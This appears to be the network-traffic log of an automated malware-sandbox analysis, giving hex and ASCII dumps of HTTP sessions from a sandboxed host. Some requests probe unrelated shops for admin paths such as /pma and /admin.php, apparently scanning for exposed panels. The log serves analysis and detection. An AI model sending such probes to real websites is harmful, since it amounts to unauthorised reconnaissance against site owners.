2023-12-20 02:13:33 UTC	867	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; } body{ margin:0; border: 0; padding: 0; } </style> <script src="//a

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.4	63234	23.227.38.74	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	172	OUT	GET /pma HTTP/1.1 Host: www.ecochild.com.au Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1352	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:f0fb7e3309d3f2f76aedd45312b6a1f9" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:33 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:33 GMT; SameSite=Lax Set-Cookie: _shopify_y=849b32a6-03d8-453a-a5ec-d3ec70a5b5e8; Expires=Thu, 19-Dec-24 02:13:33 GMT; Domain=ecochild.com.au; Path=/; SameSite=Lax Set-Cookie: _shopify_s=0924e36f-cd29-4c2d-82c0-bc708b7b40f0; Expires=Wed, 20-Dec-23 02:43:33 GMT; Domain=ecochild.com.au; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 7475083 X-ShardId: 60 Vary: Accept Content-Language: en-AU powered-by: Shopify
2023-12-20 02:13:33 UTC	930	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 32 32 2c 20 64 62 3b 64 75 72 3d 38 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 30 39 36 39 31 30 35 34 36 39 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 64 76 78 6d 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 39 38 31 38 34 64 33 64 2d 62 62 37 62 2d 34 61 30 31 2d 62 34 31 61 2d 34 62 65 65 65 30 35 33 63 64 31 33 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 74 69 6f 6e 0d 0a 58 2d 52 65 71 75 Data Ascii: Server-Timing: processing;dur=22, db;dur=8, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="80969105469", pageType;desc="404", servedBy;desc="dvxm", requestID;desc="98184d3d-bb7b-4a01-b41a-4beee053cd13"X-Shopify-Stage: productionX-Requ
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 31 35 65 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 61 63 65 62 6f 6f 6b 2d 64 6f 6d 61 69 6e 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 77 70 75 78 7a 68 7a 36 67 67 35 6c 6a 7a 78 6f 72 61 69 73 63 37 35 78 72 77 7a 68 32 65 22 Data Ascii: 15e9<!doctype html>...[if IE 9]> <html class="ie9 no-js" lang="en"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...> <html class="no-js" lang="en"> ...<![endif]--><head> <meta name="facebook-domain-verification" content="wpuxzhz6gg5ljzxoraisc75xrwzh2e"
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 45 63 6f 20 43 68 69 6c 64 20 69 73 20 61 20 6f 6e 65 20 73 74 6f 70 20 6f 72 67 61 6e 69 63 20 62 61 62 79 20 73 68 6f 70 20 74 68 61 74 20 6f 66 66 65 72 73 20 61 20 77 69 64 65 20 73 65 6c 65 63 74 69 6f 6e 20 6f 66 20 62 61 62 79 20 70 72 6f 64 75 63 74 73 20 61 6e 64 20 6b 69 64 73 27 20 65 73 73 65 6e 74 69 61 6c 73 20 74 68 61 74 20 61 72 65 20 6e 61 74 75 72 61 6c 2c 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 20 66 72 69 65 6e 64 6c 79 2c 20 6f 72 67 61 6e 69 63 2c 20 61 6e 64 20 73 61 66 65 2e 20 4e 75 72 74 75 72 65 20 79 6f 75 72 20 63 68 69 6c 64 72 65 6e 20 61 73 20 74 68 65 79 20 67 72 6f 77 2e 20 4f 72 64 65 72 20 74 6f 64 61 79 21 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 Data Ascii: iption" content="Eco Child is a one stop organic baby shop that offers a wide selection of baby products and kids' essentials that are natural, environment friendly, organic, and safe. Nurture your children as they grow. Order today!"><meta name="twitt
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 20 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 63 73 2d 68 65 6c 6c 6f 62 61 62 79 2e 73 74 79 6c 65 73 2e 73 63 73 73 2e 63 73 73 3f 76 3d 39 32 38 37 39 33 33 33 36 38 38 33 32 33 36 35 39 39 35 31 36 38 32 39 32 33 35 35 39 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 20 0a 20 20 0a 20 20 3c 21 2d 2d 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 Data Ascii: xt/css" media="all" /> <link href="//www.ecochild.com.au/cdn/shop/t/26/assets/cs-hellobaby.styles.scss.css?v=92879333688323659951682923559" rel="stylesheet" type="text/css" media="all" /> ... <link href="//www.ecochild.com.au/cdn/shop/t/26/ass
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 66 5d 2d 2d 3e 0a 0a 20 20 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 74 68 65 6d 65 2e 6a 73 3f 76 3d 39 30 37 32 38 33 39 35 39 30 37 30 34 34 33 35 33 38 31 35 39 30 30 32 32 39 33 37 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 39 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 2f 63 64 6e 2f 73 68 6f 70 2f 74 2f 32 36 2f 61 73 73 65 74 73 2f 74 68 65 Data Ascii: f]--> ...[if (gt IE 9)\|!(IE)]>...><script src="//www.ecochild.com.au/cdn/shop/t/26/assets/theme.js?v=9072839590704435381590022937" defer="defer"></script>...<![endif]--> ...[if lte IE 9]><script src="//www.ecochild.com.au/cdn/shop/t/26/assets/the
2023-12-20 02:13:33 UTC	141	IN	Data Raw: 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 2c 22 70 68 6f 6e 65 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 6a 63 62 22 5d 2c 22 74 6f 74 61 6c 22 3a 7b 22 74 79 70 65 22 3a 22 70 65 6e 64 69 6e 67 22 2c 22 0d 0a Data Ascii: ostalAddress","email","phone"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","jcb"],"total":{"type":"pending","
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 36 37 32 34 0d 0a 6c 61 62 65 6c 22 3a 22 45 63 6f 20 43 68 69 6c 64 22 2c 22 61 6d 6f 75 6e 74 22 3a 22 31 2e 30 30 22 7d 2c 22 73 68 6f 70 69 66 79 50 61 79 6d 65 6e 74 73 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 73 75 70 70 6f 72 74 73 53 75 62 73 63 72 69 70 74 69 6f 6e 73 22 3a 74 72 75 65 7d 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 66 65 61 74 75 72 65 73 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 3e 7b 22 61 63 63 65 73 73 54 6f 6b 65 6e 22 3a 22 36 33 37 61 64 32 66 35 64 62 33 35 64 63 63 30 34 32 33 66 38 65 30 36 37 65 62 31 64 66 38 39 22 2c 22 62 65 74 61 73 22 3a 5b 22 72 69 63 68 2d 6d 65 64 69 61 2d 73 74 6f 72 65 66 72 6f 6e 74 2d 61 6e 61 6c 79 74 69 63 Data Ascii: 6724label":"Eco Child","amount":"1.00"},"shopifyPaymentsEnabled":true,"supportsSubscriptions":true}</script><script id="shopify-features" type="application/json">{"accessToken":"637ad2f5db35dcc0423f8e067eb1df89","betas":["rich-media-storefront-analytic
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 70 75 73 68 28 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 61 70 70 6c 79 28 61 72 67 75 6d 65 6e 74 73 29 29 7d 72 65 74 75 72 6e 20 6e 2e 71 3d 6f 2c 6e 7d 76 61 72 20 74 3d 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 3b 74 2e 6c 6f 61 64 46 65 61 74 75 72 65 73 3d 6e 28 29 2c 74 2e 61 75 74 6f 6c 6f 61 64 46 65 61 74 75 72 65 73 3d 6e 28 29 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 50 61 79 20 3d 20 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 50 61 79 20 7c 7c 20 7b 7d 3b 0a 77 69 6e 64 6f 77 2e 53 68 6f 70 69 66 79 50 61 79 2e 61 70 69 48 6f 73 74 20 3d 20 22 73 68 6f 70 2e 61 70 70 5c 2f 70 61 79 22 3b 3c 2f 73 63 72 69 70 Data Ascii: push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify\|\|{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script><script>window.ShopifyPay = window.ShopifyPay \|\| {};window.ShopifyPay.apiHost = "shop.app\/pay";</scrip
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 6f 67 69 6e 2d 62 75 74 74 6f 6e 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 6c 6f 67 69 6e 2d 62 75 74 74 6f 6e 5f 31 36 62 33 33 31 30 36 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 2c 22 70 61 79 6d 65 6e 74 2d 74 65 72 6d 73 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 70 61 79 6d 65 6e 74 2d 74 65 72 6d 73 5f 36 39 39 63 38 33 38 31 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 5d 7d 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 Data Ascii: ogin-button":["modules/client.login-button_16b33106.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"],"payment-terms":["modules/client.payment-terms_699c8381.en.esm.js","modules/chunk.common_aa18f3d8.esm.js"]};</script><script>(function() { function
2023-12-20 02:13:33 UTC	1369	IN	Data Raw: 61 63 68 45 76 65 6e 74 28 27 6f 6e 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 29 3b 0a 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 6c 6f 61 64 27 2c 20 61 73 79 6e 63 4c 6f 61 64 2c 20 66 61 6c 73 65 29 3b 0a 20 20 7d 0a 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 5f 5f 73 74 22 3e 76 61 72 20 5f 5f 73 74 3d 7b 22 61 22 3a 37 34 37 35 30 38 33 2c 22 6f 66 66 73 65 74 22 3a 33 37 38 30 30 2c 22 72 65 71 69 64 22 3a 22 33 31 35 65 37 36 62 38 2d 32 39 33 34 2d 34 62 30 64 2d 61 31 32 38 2d 33 31 33 39 33 62 36 35 32 66 36 33 22 2c 22 70 61 67 65 75 72 6c 22 3a 22 77 77 77 2e 65 63 6f 63 68 69 6c 64 2e 63 6f 6d 2e 61 75 5c 2f 34 30 34 22 2c Data Ascii: achEvent('onload', asyncLoad); } else { window.addEventListener('load', asyncLoad, false); }})();</script><script id="__st">var __st={"a":7475083,"offset":37800,"reqid":"315e76b8-2934-4b0d-a128-31393b652f63","pageurl":"www.ecochild.com.au\/404",

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.4	63018	34.133.154.140	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	171	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 3 X-Cache-Group: normal
2023-12-20 02:13:33 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:34 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:34 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:34 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
2023-12-20 02:13:34 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.4	63318	23.227.38.74	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	185	OUT	GET /admin.php HTTP/1.1 Host: artusopastry.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1341	IN	HTTP/1.1 303 See Other Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 1584544 X-ShardId: 312 Cache-Control: no-store Location: https://artusopastry.myshopify.com/admin/auth/login Strict-Transport-Security: max-age=7889238 Server-Timing: processing;dur=21 X-Shopify-Stage: production Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; script-src https://cdn.shopify.com https://cdn.shopifycdn.net https://checkout.shopifycs.com https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://js.braintreegateway.com https://c.paypal.com https://maps.googleapis.com https://www.google-analytics.com https://v.shopify.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=37d17604-fd4f-4fcd-b32f-bb9c8be13d84
2023-12-20 02:13:33 UTC	876	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 2d 50 65 72 6d 69 74 74 65 64 2d 43 72 6f 73 73 2d 44 6f 6d 61 69 6e 2d 50 6f 6c 69 63 69 65 73 3a 20 6e 6f 6e 65 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 3b 20 72 65 70 6f 72 74 3d 2f 78 73 73 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 69 6e 64 65 78 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 61 64 6d 69 6e 25 32 46 68 6f 6d 65 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e Data Ascii: X-Content-Type-Options: nosniffX-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection
2023-12-20 02:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.4	63288	13.248.169.48	443

Timestamp	Bytes transferred	Direction	Data
